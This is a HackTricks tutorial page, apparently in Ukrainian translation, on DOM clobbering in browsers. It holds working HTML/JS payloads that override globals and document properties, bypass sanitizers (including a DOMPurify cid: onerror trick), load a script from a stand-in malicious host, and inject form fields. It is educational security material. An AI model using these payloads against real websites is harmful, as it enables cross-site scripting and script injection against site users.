Dom Clobbering
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основи
Можливо генерувати глобальні змінні в контексті JS з атрибутами id
та name
в HTML тегах.
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
Тільки певні елементи можуть використовувати атрибут name для кловерінгу глобальних змінних, це: embed
, form
, iframe
, image
, img
та object
.
Цікаво, що коли ви використовуєте елемент форми для кловерінгу змінної, ви отримаєте toString
значення самого елемента: [object HTMLFormElement]
, але з якорем toString
буде якорний href
. Тому, якщо ви кловерите за допомогою a
тегу, ви можете контролювати значення, коли воно обробляється як рядок:
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
Масиви та Атрибути
Також можливо перезаписати масив та атрибути об'єкта:
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
Щоб перезаписати третій атрибут (наприклад, x.y.z), вам потрібно використовувати form
:
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
Клобберинг більше атрибутів є більш складним, але все ще можливим, використовуючи iframes:
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
warning
Тег style використовується для надання достатньо часу iframe для рендерингу. Без нього ви отримаєте сповіщення про undefined.
Щоб змінити глибші атрибути, ви можете використовувати iframes з html кодуванням таким чином:
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
Обхід фільтра
Якщо фільтр перебирає властивості вузла, використовуючи щось на зразок document.getElementByID('x').attributes
, ви можете перезаписати атрибут .attributes
і зламати фільтр. Інші властивості DOM, такі як tagName
, nodeName
або parentNode
та інші також є перезаписуваними.
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
Перезапис window.someObject
В JavaScript часто можна зустріти:
var someObject = window.someObject || {}
Маніпулювання HTML на сторінці дозволяє перезаписати someObject
з DOM-елементом, що потенційно вводить уразливості безпеки. Наприклад, ви можете замінити someObject
на елемент посилання, що вказує на шкідливий скрипт:
<a id=someObject href=//malicious-website.com/malicious.js></a>
У вразливому коді, такому як:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
Цей метод використовує джерело скрипта для виконання небажаного коду.
Трюк: DOMPurify
дозволяє використовувати протокол cid:
, який не кодує URL подвійні лапки. Це означає, що ви можете впровадити закодовану подвійні лапки, яка буде декодована під час виконання. Тому, впровадження чогось на кшталт <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
змусить HTML закодоване "
бути декодованим під час виконання і вийти з значення атрибута, щоб створити подію onerror
.
Інша техніка використовує елемент form
. Деякі бібліотеки на стороні клієнта перевіряють атрибути новоствореного елемента форми, щоб очистити їх. Однак, додавши input
з id=attributes
всередині форми, ви ефективно перезаписуєте властивість атрибутів, запобігаючи санітайзеру доступ до фактичних атрибутів.
Ви можете знайти приклад цього типу клобберингу в цьому CTF звіті.
Клобберинг об'єкта документа
Згідно з документацією, можливо перезаписати атрибути об'єкта документа, використовуючи DOM Clobbering:
Інтерфейс Document підтримує іменовані властивості. Підтримувані імена властивостей об'єкта Document в будь-який момент складаються з наступних, у деревоподібному порядку відповідно до елемента, який їх надав, ігноруючи пізні дублікати, і з значеннями з атрибутів id, які йдуть перед значеннями з атрибутів name, коли один і той же елемент надає обидва:
- Значення атрибута вмісту name для всіх експонованих embed, form, iframe, img та експонованих object елементів, які мають непорожній атрибут вмісту name і знаходяться в дереві документа з документом як їх коренем;
- Значення атрибута вмісту id для всіх експонованих object елементів, які мають непорожній атрибут вмісту id і знаходяться в дереві документа з документом як їх коренем;
- Значення атрибута вмісту id для всіх img елементів, які мають як непорожній атрибут id, так і непорожній атрибут вмісту name, і знаходяться в дереві документа з документом як їх коренем.
Використовуючи цю техніку, ви можете перезаписати загальновживані значення, такі як document.cookie
, document.body
, document.children
, і навіть методи в інтерфейсі Document, такі як document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Написання після елемента, що був знищений
Результати викликів document.getElementById()
та document.querySelector()
можуть бути змінені шляхом ін'єкції тегу <html>
або <body>
з ідентичним атрибутом id. Ось як це можна зробити:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
Крім того, використовуючи стилі для приховування цих ін'єкованих HTML/body тегів, можна запобігти втручанню з іншого тексту в innerText
, тим самим підвищуючи ефективність атаки:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Дослідження SVG виявили, що тег <body>
також може бути ефективно використаний:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Для того щоб HTML тег працював в SVG в браузерах, таких як Chrome і Firefox, необхідний тег <foreignobject>
:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Clobbering Forms
Можливо додати нові записи всередині форми, просто вказавши атрибут form
всередині деяких тегів. Ви можете використовувати це, щоб додати нові значення всередині форми і навіть додати нову кнопку для відправки (клікджекинг або зловживання деяким кодом JS .click()
):
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
- Для отримання додаткових атрибутів форми в кнопці перевірте це.
Посилання
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript для хакерів: навчіться думати як хакер.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.